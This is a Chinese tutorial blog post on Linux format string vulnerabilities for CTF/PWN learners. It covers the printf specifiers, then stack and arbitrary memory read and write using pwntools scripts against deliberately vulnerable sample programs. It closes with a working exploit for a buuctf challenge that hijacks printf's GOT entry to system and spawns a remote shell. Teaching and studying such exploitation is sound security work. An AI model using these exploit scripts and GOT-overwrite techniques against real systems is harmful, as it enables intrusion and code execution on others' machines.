[二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

2022/6/26 5:23:03

本文主要是介绍[二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

目录
  • [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
    • 格式化输出函数
      • printf函数族功能介绍
      • printf参数
        • type(类型)
        • flags(标志)
        • number(宽度)
        • precision(精度)
        • length(类型长度)
        • n$(参数字段)
    • 格式化字符串漏洞
      • 格式化字符串漏洞原因:
    • 漏洞利用
      • 使程序崩溃(测试)
      • 栈数据泄露(堆栈读)
        • 获取栈变量数值
        • 获取栈变量字符串
        • 堆栈读总结
      • 栈数据覆盖(堆栈写)
        • 覆盖变量
      • 任意地址内存泄漏(任意读)
      • 任意地址内存覆盖(任意写)
        • 覆盖小数(小于4字节)
        • 覆盖大数(即任意地址)
    • pwnlib.fmtstr学习
      • FmtStr类(获取参数偏移)
      • fmtstr_payload(任意地址内存覆盖)
    • CTF实战
      • wdb_2018_2nd_easyfmt(buuctf)
    • PWN菜鸡小分队

[二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

格式化输出函数

最开始学C语言的小伙伴们,肯定都很熟悉printf("Hello\n"),我们利用printf来输出字符串到控制台,当然我们也可以利用printf来输出整数类型、浮点类型、其他等等类型,这一切都归功于格式化输出函数

printf 函数族一共有8个函数:

img

其中8个函数分为两大类,每一类中都有一个相互对应。例如:printfvprintf两个函数为一对。其能完全一样,不同点在于参数格式。

printf函数参数使用不定参数(...)传递参数,vprintf使用参数列表(va_list)传递参数。

fprintf()  "按照格式字符串将输出写入流中。三个参数分别是流、格式字符串和变参列表。"
printf()   "等同于fprintf(),但是它的输出流为stdout。"
sprintf()  "等同于fprintf(),但是它的输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。"
snprintf() "等同于sprintf(),但是它指定了可写入字符的最大值size。超过第size-1的部分会被舍弃,并且会在写入数组的字符串末尾添加一个空字符。"
dprintf()  "等同于fprintf(),但是它的输出不是写入流而是一个文件描述符fd。"

"分别与上面的函数对应,但是它们将变参列表换成了va_list类型的参数。"
vfprint()、vprintf()、vsprintf()、vsnprintf()、vdprintf() 

printf函数族功能介绍

int printf (const char* _format,...);

printf是我们使用最多的一个函数,其功能为把格式化之后的字符串输出到标准输出流中。

大多数时候标准输出是控制台的显示,不过在MCU中,我们经常会将标准输出重定向到串口,然后通过串口查看信息。

所有printf函数族的返回值是:写入字符串成功返回写入的字符总数,写入失败则返回一个负数。

int sprintf(char * _s,const char* _format,...)

sprintf功能与printf类似,不过它是将字符串格式化输出到它的第一个参数所指定的字符串数组中。

由于它是输出到字符数组,所以会存在数组大小不足或者传递参数非法(后面要学的格式化漏洞),导致格式化后的字符溢出,任意内存读写,堆栈破坏被修改返回地址等,所以推荐使用snprintf函数来代替这个不安全的函数。ps:(哈哈哈这样我们就不好挖洞了)

int fprintf(FILE* _s,const char* _format,...)

fprintf功能与printf类似,但是它的输出流是(FILE*)中。

这个流可以是标准输出(stdout)、标准错误(stderr)、或者是文件(FILE* fd)。

所以理论printf可能是调用frpitnf来实现的。

printf参数

接下来的中点:格式化输出的参数。

printf函数族的格式化参数属性相同,下面以printf为例讲解字符串格式舒心。

printf格式化控制属性格式如下:

image-20220621215711386

type(类型)

type是格式控制字符的类型,为必选项。在printf中会根据类型对应的格式去栈中读取对应大小的数据,(如果读取不到,就会把栈数据泄露出来了。)

这里的n要注意记一下,格式化漏洞会用到x和p也非常常用,s则用于打印字符串

img

flags(标志)

flags用于规定输出样式。例如我们有时需要对齐打印多个数字,但是数字的长度并不是固定的,此时可以用flag参数进行设置。

#include <stdio.h>
int main()
{
    //利用flags对齐每个数字。
    printf("左对齐每个数字:\n");
    printf("%-04d\n%-04d\n%-04d\n%-04d\n",
          	1,
            12,
            123,
            1234);
    printf("右对齐每个数字:\n");
    printf("%4d\n%4d\n%4d\n%4d\n",
           1,
           12,
           123,
           1234);
    return 0;
}

image-20220621222455238

flags支持参数如下:

img

number(宽度)

字符宽度有固定和可变两种类型。固定宽度为在类型前面加一个数字表示宽度:

printf("number is %08d\n",1234);

可变宽度类型是指在格式化的宽度可以由一个变量来控制指定,在程序中使用一个星号(*)进行占位,然后在参数中指定宽度。

printf("number is %0*d",8,1234);

image-20220621222944937

precision(精度)

精度的属性格式只有一个,对于不同类型的效果不同。具体描述见下图:

img

#include <stdio.h>
int main()
{
    //整数
    printf("int:%.4d\n",123); //因为长度不够4,所以会被截断前面用0来填充。
    //浮点数
    printf("float:%.2f\n",3.1415926);
    printf("float:%.3f\n",1.23);
    //字符串
    printf("string:%.6s\n","hellohacker!");
    return 0;
}

image-20220621225057523

length(类型长度)

类型长度用于修饰type(类型)的长度。

比如在打印一个uint64_t类型的无符号整形数字时,应该使用%llu来进行格式化输出。

#include <stdio.h>
#define LLONG_MIN -9223372036854775808
#define LLONG_MAX 9223372036854775807
int main()
{
    //ll表示long long
    //llu表示unsigned long long
    printf("long long:%lld\n",LLONG_MIN);
    printf("unsigned long long:%llu\n",LLONG_MIN);
    return 0;
}

image-20220621231055725

img

n$(参数字段)

我看到有些题目中会有n$ n代表数字这种控制符,这个其实和控制宽度的*差不多,也是在参数中控制的。

image-20220621232837634

#include <stdio.h>

int main(void) {
    //1$代表参数"a" -->第一个参数的意思
    //*代表宽度
    //3$代表参数"10" -->第3个参数的意思
    //输出右对其10空格,并且输出字符串a.
    //后面以此类推。
    printf("%1$*3$s\n", "a", "b", 10, 20);
    printf("%1$*4$s\n", "a", "b", 10, 20);
    printf("%2$*3$s\n", "a", "b", 10, 20);
    printf("%2$*4$s\n", "a", "b", 10, 20);
    return 0;
}

image-20220621232957504

格式化字符串漏洞

格式化字符串漏洞从2000年左右开始流行起来,几乎在各种软件中都能见到它的身影,随着技术的发展,软件安全性的提升,如今它在桌面端已经比较少见了,但在物联网设备 IoT上依然层出不穷。

#include <stdio.h>
void main()
{
    printf("%s %d %s %x %x %x %3$s","Hello World!",233,"\n");
}

我们输入的参数只有三个,但是格式化字符串中还有3个%x,%3$s不用管它,它就是换行的意思。

ps:(图片纠正下,不是泄露出了栈地址,是泄露出栈的值)

image-20211022104201236

//leak.c 泄露变量1 2 3题目

#include <stdio.h>
void main()
{
        char hello[]="hello";
        int a=1,b=2,c=3;
        printf("%s %d %s %x %x %x %x %x %x %x %x %3$s","Hello World!",23333,"\n");
}

image-20220621235241437
image-20220621235323566

继续来看个例子:

#include <stdio.h>
void main()
{
    //字符数组,50字节空间。
    char buf[50];
    
    //让用户输入任何数据,大小50字节。
    fgets(buf,sizeof(buf),stdin);
    
    //输出用户输入的任何数据
    printf(buf);
}

这个例子相比上面的,省去了printf参数个数,只有一个printf参数,哈哈哈不过他同样存在漏洞。

我们用pwndbg来详细复现下漏洞。

image-20220622101607789

image-20220622101853068

image-20220622102148508

格式化字符串漏洞原因:

这里总结下出现格式化字符串漏洞的原因:根本的原因是调用printf函数族的时候,因为格式字符串要求的参数个数和实际的参数格式不匹配导致去堆栈中取数据,导致泄漏出堆栈数据。

还有是因为程序员对用户输入过滤不严格导致,正常用户可能根本不会去输入这个格式控制符这种奇怪的字符串,但是因为程序员忽略了黑客这类人员。

对过滤内容不严格导致格式化字符串漏洞的产出,其实这也有点像SQL注入、XSS等这类Web漏洞原理,都是由于没有过滤用户输入造成的。

漏洞利用

接下来学习格式化字符串漏洞真正在实际中的应用,比如CTF比赛等等。

对于格式化字符串漏洞的利用主要有:

  • 使程序崩溃(测试漏洞是否存在)
  • 栈数据泄露(栈数据读)
  • 栈数据覆盖(栈数据写)
  • 任意地址内存泄露(任意读)
  • 任意地址内存覆盖(任意写)

使程序崩溃(测试)

我们格式直接测试输入一堆的%s来测试程序是否有过滤格式控制符,如果没有过滤当%s读取到非用户访问内存空间时候会出现崩溃!

从而来判断是否存在漏洞,当然你也可以用其他格式控制符,这里主要是记录下这种漏洞利用场景。

#include <stdio.h>
int main()
{
	char str[100];
    read(0,str,100);
    printf(str);
	return 0;
}

image-20220622104053627

造成程序崩溃原因:printf根据格式化类型%s,然后对栈里面取地址视为char数组指针,然后在地址处取字符直到出现\x00为止,由于有些地址是NULL,或者有些地址不是用户层访问的,所以出于Linux内核的保护机制会造成崩溃,使进程收到SIGSEGV信号。

栈数据泄露(堆栈读)

  • 泄漏栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存

例题如下:(要求1.获取栈变量数值,2.获取栈变量对应字符串)

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

先思考下如何通过输入来泄漏出栈内存?

解答:

正常输入肯定是不行的,由于我们已经分析过漏洞原理(因为控制格式化字符串和参数不匹配造成漏洞),所以这里我们需要构造出格式化字符串来作为输入。

%08x的意思是,宽度为8不足8用0填充,那么我们可以构造字符串%08x.%08x.%08x来看看输出结果。

Tips:(这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。)

image-20220622132425837

image-20220622132615874

获取栈变量数值

我们已经详细的学过格式化输出函数,现在我们用%n$08x来获取n+1个参数的值。

poc:

%n$08x
%1$08x.%2$08x.%3$08x (打印栈中第一个第二个第三个数值)
%3$08x.%3$08x.%3$08x (打印栈中第三个数值)
%3$08x.%2$08x.%1$08x (打印堆中第三个第二个第一个数值)

image-20220622133324386

获取栈变量字符串

poc:

%n$s (只是把type改改即可)
%17$s

找了下,这里第17个参数位置这里是个字符串,可以打印。

image-20220622134834366

image-20220622134909669

堆栈读总结

  • 用%nx或者%p,来按顺序泄漏栈数据
  • 用%s获取变量地址内容,遇零截断
  • 用%n\(x或%n\)p或%n$s,获取指定第n个参数的值或字符串。

栈数据覆盖(堆栈写)

堆栈写(覆盖)的核心原理是利用%n对参数进行覆盖,首先我们来复习下%n控制符。

%n的解释如下:

这个代码是独特的,因为他并不产生任何输出。
相反,涛目前为止函数所产生的输出字符数目将被保存到对应的参数中。

让我们写个代码来熟悉熟悉:

#include <stdio.h>
void main()
{
    int number=0;//这里number被赋为0
    char str[] = "hello";
    printf("%s1111111111111111%n\n",str,&number);//这里number 利用%n 赋值为回显的长度
    printf("%d\n",number);
}

image-20220622175748019

覆盖变量

这里来做一道小题目,利用栈覆盖变量,让其进入modified c分支。

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

先分析代码并且思考:

代码通过if(c16)进入modified c.分支,我们要让c16必须使用栈覆盖漏洞,栈覆盖漏洞属于格式化字符串漏洞,由于代码里面对输入没做过滤并且直接printf判断为存在格式化字符串漏洞。

  1. 确定变量C的地址 0xffffd58c

image-20220622194630649

  1. 确认变量C地址在printf参数中排第几?

这里刚开始我把自己坑了,一开始我确认变量C位置如上图标记的位置,然后从参数1开始数,数到变量C刚好是30,于是我构造Payload用pwntools运行,总是崩溃,原因是0xffffd58c处的值是0x315,这个是一个整数不是一个地址,当改写这0x315地址,肯定会崩溃,因为这肯定是系统保护的地址。

正确做法是,利用格式化字符串,字节把0xffffd58c(变量C地址)写进栈里,然后找这个格式化字符串printf参数中的顺序,如上图1111111111111%s地址0xffffd528,距离参数1刚好是5个位置,所以是参数6,排第6。

  1. 构造Payload

有了上面的数据就可以构造Payload了,Payload基本如下:

c_address = 0xffffd58c
padding   = b'111111111111' #这里为什么是12个1,因为c_address占4字节
Payload   = p32(c_address)+b''+b'%6$n' #12+4=16
  1. 编写EXP,运行。

实际情况中,c_address并不固定,所以这题目提前用printf输出了变量C的地址。

#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程,ELF解析
p        = process("./overflow")
overflow = ELF('./overflow')
#接收消息,直到'\n'
c_address = int(p.recvuntil('\n',drop=True),16)
print("变量C地址:{0}".format(hex(c_address)))
#填充12字节+地址(4字节)=16
padding = b'111111111111'
#构造Payload,发送
Payload = p32(c_address) + padding + b'%6$n'
print("Payload:{0}".format(Payload))
print(p.sendline(Payload))

#回显
print(p.recv())

image-20220622212758242

任意地址内存泄漏(任意读)

在网上看了些文章写的都很绕来绕去,任意地址内存泄漏的核心原理就是用%s去读你输入的十六进制格式(地址)的内存。

ps:这其实并不算任意地址内存泄漏,测试发现如果内存中一开始就是0,那直接就截断了。

漏洞主要利用的步骤:

  • %n$s
  • /x01/x02/x03/x04 (你需要读内存的地址)
  • 找出这个(你需要读内存的地址)在第几个参数,这样好用%n$s

下面还是用自己写的一个例子,来实践下。

(要求用pwntools打印出flag)

#include <stdio.h>
char *flag="flag{Pwn_Caiji_Xiao_fen_dui}\n";

int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  gets(s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}
  1. 肉眼观察源码

明显的存在格式化字符串漏洞,因为没有过滤用户输入数据,并且直接用printf打印。

  1. 确定出char s[100]在第2个printf%s解析时候,在栈中是第几个参数?

调试得出在第4个参数这里,如果不能调试,那只能用一开始的1111%p%p%p%p%p%p%p这种方式去爆破,当解析到1的ASCII码即可。

image-20220622170359011

  1. 构造出Payload

上面已经确定参数位置,那就可以构造%4$s,接下来需要把1111替换成我们要打印内存的地址,这里要打印flag符号,(可以用readelf -s 来看看flag符号名)

image-20220622170732004

就是叫flag,那么可以用pwntools的pwnlib.elf模块来获取符号名的偏移,具体代码如下:

leakmemory = ELF("./leakmemory")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag']

最后构造的Payload如下:

Payload = p32(flag_offset) + b'%4$s'
  1. 写出exp,打印出flag
#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程
p = process("./leakmemory")
#解析ELF
leakmemory = ELF("./leakmemory")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag'] #如果要泄漏got表可以改成 leakmemory.got['printf']等函数名.
#构造Payload
Payload = p32(flag_offset) + b'%4$s'
#发送Payload
print("[+] 发送Payload:")
p.sendline(Payload)
print(Payload)
#接受返回数据
print("[+] 接受数据:")
print(p.recvline())
flag = p.recv()
flag = u32(flag[4:8])
print("flag地址:{0}".format(hex(flag)))
#打印flag
print("[+] flag如下:")
print("")
#读取leakmemory中flag内存
print(leakmemory.read(flag,30))

image-20220622171718046

任意地址内存覆盖(任意写)

任意地址内存写(覆盖)的原理其实就是堆栈写(栈数据覆盖)的加强版,在堆栈写里面我们已经可以覆盖要覆盖的变量了,不过具体覆盖的数值(大数(地址)、小数(小于4字节))还不能实现,这里主要学习如何覆盖成任意数字。

覆盖小数(小于4字节)

首先呢,来学习如何把变量覆盖成小于4的数字,比如说覆盖成2。

还是老题目:(要求走a==2分支,并打印出modified a for a small number.)

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

问题思考分析:

这里的a变量是123,我们要把它覆盖成2那就需要用到堆栈写里面的技巧,把a变量地址放前面然后构造Payload对吗?不对因为a变量地址最小也是占用了4字节的,我们无论如何都不能覆盖成2,所以思路就是我把把地址写到后面去啊,又没说地址非得写在前面(我的笨脑瓜),这样就可以构造任意小于4的值了。

这里我懒得在分步骤调试确定a位置了,直接上exp:

#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程,ELF解析
p   = process("./overflow")
elf = ELF("./overflow")
#gdb.attach(p,"b printf")

'''
exp
'''
def exp():
    #接收消息直到出现'\n'
    c_address = int(p.recvuntil('\n',drop=True),16)
    #分支2的变量是a,从符号表中获取
    a_address  = elf.symbols['a']
    log,info("var c: %s" % hex(c_address))
    log,info("var a: %s" % hex(a_address))
    #构造Payload
    padding = b'11'
    padding_address = b'\x00\x00'
    Payload = padding + b'%8$n' + padding_address + p32(a_address)
    log,info("Payload: %s" % Payload)
    #发送Payload
    p.sendline(Payload)

#main
if __name__ == '__main__':
    exp()
    print(p.recv())

image-20220623215946976

覆盖大数(即任意地址)

一般我们理解的任意地址内存覆盖(写),就是能把这个地址内存覆盖成任意想覆盖的地址,因为一般指针用来存储地址即4字节,可是覆盖成4字节那得用多少padding,缓冲区恐怕都不够用啊,所以覆盖大数的技巧在于把覆盖地址拆分出来,因为栈是连续的,所以拆分成覆盖每个字节。

比如:0x804a024地址
0x804a024 [原来:0x02] [修改成:0x78]
0x804a025 [原来:0x00] [修该成:0x56]
0x804a026 [原来:0x00] [修改成:0x34]
0x804a027 [原来:0x00] [修改成:0x12]

这样我们的padding最大也只要0xff即255一般来说没什么问题应该(哈哈我也刚学,应该没啥问题把,各位大佬们)。

这里可以复习下h这个控制符了,h用于n时是一个指向short类型整数的指针,(图片不够完整)hh用于n时是一个指向char类型整数的指针。

image-20220623222108686

写入单个字节主要用到hh

题目还是这题:(要求进入b==0x12345678分支,输出modified b for a big number!)

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

思考并分析:

  1. b在全局变量,可以用符号表来获取地址
  2. b要==0x12345678才能进入分支,这是个大数,需要构造精妙的payload
Payload  = p32(b地址)
Payload += p32(b地址+1)
Payload += p32(b地址+2)
Payload += p32(b地址+3)
Payload += padding_1
Payload += '%6$hhn'
Payload += padding_2
Payload += '%7$hhn'
Payload += padding_3
Payload += '%8$hhn'
Payload += padding_4
Payload += '%9$hhn'
  1. 具体padding
#首先一开始我们4个地址占用了16字节,然后我要覆盖成的数字是0x78
#所以.
padding_1 = %104c  #(0x78-0x10=0x68=104)
padding_2 = %222c  #0x56 = 86 ,整数溢出后面章节会学到 16+104+136溢出成0 86+136=222
padding_3 = %222c  #0x34 = 52 ,16+104+222=342,342-256=86,256-86=170,170+52=222
padding_4 = %222c  #0x12 = 18 ,564,564-256=308,308-256=52,256-52=204,204+18=222
  1. 完整EXP:
#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程,ELF解析
p   = process("./overflow")
elf = ELF("./overflow")
#gdb.attach(p,"b printf")

'''
exp
'''
def exp():
    #获取变量地址
    a_address  = elf.symbols['a']
    b_address  = elf.symbols['b']
    c_address = int(p.recvuntil('\n',drop=True),16)
    log,info("var a: %s" % hex(a_address))
    log,info("var b: %s" % hex(b_address))
    log,info("var c: %s" % hex(c_address))
    #构造Payload
    #78 ce 02 14
    padding_1   = b'%104c'
    padding_2   = b'%222c'
    padding_3   = b'%222c'
    padding_4   = b'%222c'
    address_sum = p32(b_address)+p32(b_address+1)+p32(b_address+2)+p32(b_address+3)
    Payload     = address_sum+padding_1+b'%6$hhn'+padding_2+b'%7$hhn'+padding_3+b'%8$hhn'+padding_4+b'%9$hhn'
    log,info("padding_1: %s" % padding_1)
    log,info("padding_2: %s" % padding_2)
    log,info("padding_3: %s" % padding_3)
    log,info("padding_4: %s" % padding_4)
    log,info("address_sum: %s" % address_sum)
    log,info("Payload: %s" % Payload)
    #发送Payload
    p.sendline(Payload)

#main
if __name__ == '__main__':
    exp()
    print(p.recv())

image-20220623231250354

pwnlib.fmtstr学习

这里学一下pwnlib.fmtstr模块,因为我们每次都手动去调试,去获取格式化字符串在printf是第几个参数,构造任意地址内存覆盖的Payload都很花费时间,而且都只是些体力活。

所以这种事情为何不交给py去做呢,这里就不详细的去分析模块源码以及他原理的东西了(原理基本也和我们手动差不多)。

FmtStr类(获取参数偏移)

pwnlib.fmtstr模块中有一个FmtStr的类,他的主要用途是自动给你构造一个payload用于泄漏出格式化字符串的堆栈地址,并且可以用offset参数自动得到格式化字符串在printf堆栈中是第几个参数。(往常我们都是去手动调试,计算。)

题目还是之前的:任意地址内存覆盖(任意写)的题目

#用FmtStr类获取`格式化字符串`在printf函数中的参数位置(偏移)
from pwn import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#p = process('./overflow')#这FmtStr有个坑啊,我看网上文章都这样写,我调试好久才发现,这个p=process('./overflow')不能写在这里.要写到exec_fmt函数里

def exec_fmt(payload): #固定写法
    p = process('./overflow')
    gdb.attach(p,'b printf')
    p.recvline()#先接收printf,省的卡住
    #看看,FmtStr类给我们构造的paylaod
    print(payload)
    p.sendline(payload)
    info = p.recv()
    #看看返回的数据
    print(info)
    return info

if __name__ == '__main__':
    print("准备泄漏出(格式化字符串)在printf函数参数中的位置:")
    auto_fmtstr = FmtStr(exec_fmt)
    print("(格式化字符串)在printf函数中参数的位置是:{0}".format(auto_fmtstr.offset)

讲解:

FmtStr类帮我们自动构造了Payload,类似:b'aaaabaaacaaadaaaeaaaSTART%1$pEND,其中这个%1$p很熟悉,是泄漏出第一个参数的地址。

然后FmtStr利用py正则在返回的字符串中找到START就可以获取到第一个参数的地址,然后再它在挨个遍历,知道堆栈中地址也是第一个参数地址就得到偏移。

image-20220624151308812

image-20220624151827951

image-20220624152404124

fmtstr_payload(任意地址内存覆盖)

fmtstr_payload函数则更厉害了,可以直接帮我们构造出任意地址内存覆盖的Payload,还是上面的题目,我们让程序进入分支3,修改b变量为:0x12345678

完整EXP如下:

#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
elf = ELF("./overflow")
#gdb.attach(p,"b printf")


'''
测试函数,用来获取`格式字符串`在printf函数里参数的顺序 (如果不想偷懒可用gdb确定)
'''
def exec_fmt(payload):
    p   = process("./overflow")
    p.recvuntil('\n',drop=True)
    p.sendline(payload)
    return p.recv()
    #[*] Found format string offset: 6

'''
exp
'''
def exp():
    #封装进程,ELF解析
    p   = process("./overflow")
    #获取变量地址
    a_address  = elf.symbols['a']
    b_address  = elf.symbols['b']
    c_address = int(p.recvuntil('\n',drop=True),16)
    log,info("var a: %s" % hex(a_address))
    log,info("var b: %s" % hex(b_address))
    log,info("var c: %s" % hex(c_address))
    #构造Payload
    Payload = fmtstr_payload(6,{b_address: 0x12345678})
    log,info("Payload: %s" % Payload)
    #发送Payload
    p.sendline(Payload)
    #回显
    print(p.recv())

#main
if __name__ == '__main__':
    exp()

image-20220624153911106

可以看到我们的exp相比之前覆盖大数的exp要清晰很多,不用手动去构造Payload了,一句py代码搞定。

接下来做个CTF题目实战实战。

CTF实战

wdb_2018_2nd_easyfmt(buuctf)

wdb_2018_2nd_easyfmt是一道经典的格式化字符串漏洞题目,做这题的时候我是在线在buuctf里做的,当时有个地方被坑了就是libc版本的问题,后来才发现buuctf资源那一栏里面可以下载各种版本libc.

libc-2.23.so

题目:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);
    putchar(10);
  }
}

题目分析:

  1. while(1)循环,一直读取用户输入,一直printf,read没有过滤又直接输出,存在格式化字符串漏洞
  2. 题目主要用意是用格式化字符串漏洞劫持printf got表(hook),将其hook成system函数,当read输入时候可以直接当system参数用。

具体调试过程不写了,看exp:

#导入pwn模块
from pwn import *
from LibcSearcher import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程,ELF解析
#r   = process("./wdb_2018_2nd_easyfmt")
r   = remote("node4.buuoj.cn",26829)
libc=ELF('./libc-2.23.so')
elf = ELF("./wdb_2018_2nd_easyfmt")
#gdb.attach(r,'b printf')

#libc符号偏移
                    #本地:printf:0x51520 system:0x3d3d0
printf_offset     = libc.sym['printf']
system_offset     = libc.sym['system']


'''
测试函数,用来获取`格式字符串`在printf函数里参数的顺序 (如果不想偷懒可用gdb确定)
'''
# def exec_fmt(payload):
#     #p   = process("./wdb_2018_2nd_easyfmt")
#     r   = remote("node4.buuoj.cn",25128)
#     r.recvuntil('\n',drop=True)
#     r.sendline(payload)
#     return r.recv()
#     #[*] Found format string offset: 6

'''
exp
'''
def exp():
    print(r.recv())
    #打印printf的got表
    printf_got = elf.got['printf']
    log,info("printf_got: {0}".format(hex(printf_got)))

    #利用格式化漏洞,泄漏出printf在libc中的真实地址
    Payload    = p32(printf_got) + b'%6$s'
    log,info("stage 1: {0}".format(Payload))
    r.sendline(Payload)
    printf_address = r.recv()
    print("0x"+printf_address.hex())
    printf_address = u32(printf_address[4:8])
    log,info("printf: {0}".format(hex(printf_address)))
    log,info("puts: {0}".format(hex(printf_address)))

    #利用https://libc.rip/查询 'printf' printf_address 的libc版本
    libc_address = printf_address-printf_offset
    log,info("libc: {0}".format(hex(libc_address)))

    #Hook(劫持got表) 将printf替换成system
    system = libc_address+system_offset
    log,info("system: {0}, offset({1})".format(hex(system),hex(system_offset)))
    Payload = fmtstr_payload(6,{printf_got: system})
    log,info("stage 2: {0}".format(Payload))
    r.sendline(Payload)

    #获取Shell
    r.sendline(b"/bin/sh\0")
    r.interactive()
    
#main
if __name__ == '__main__':
    #FmtStr(exec_fmt)
    exp()

image-20220624224927542

PWN菜鸡小分队

感谢大家的阅读,如文中有本菜鸡写错的地方请来指正(本菜鸡太菜造成),文章篇幅较长,可以根据标题挑选感兴趣的看。

在这里建了个pwn群,希望刚学pwn的同学们可以一起进来交流,分析,提问题等等。

img



这篇关于[二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程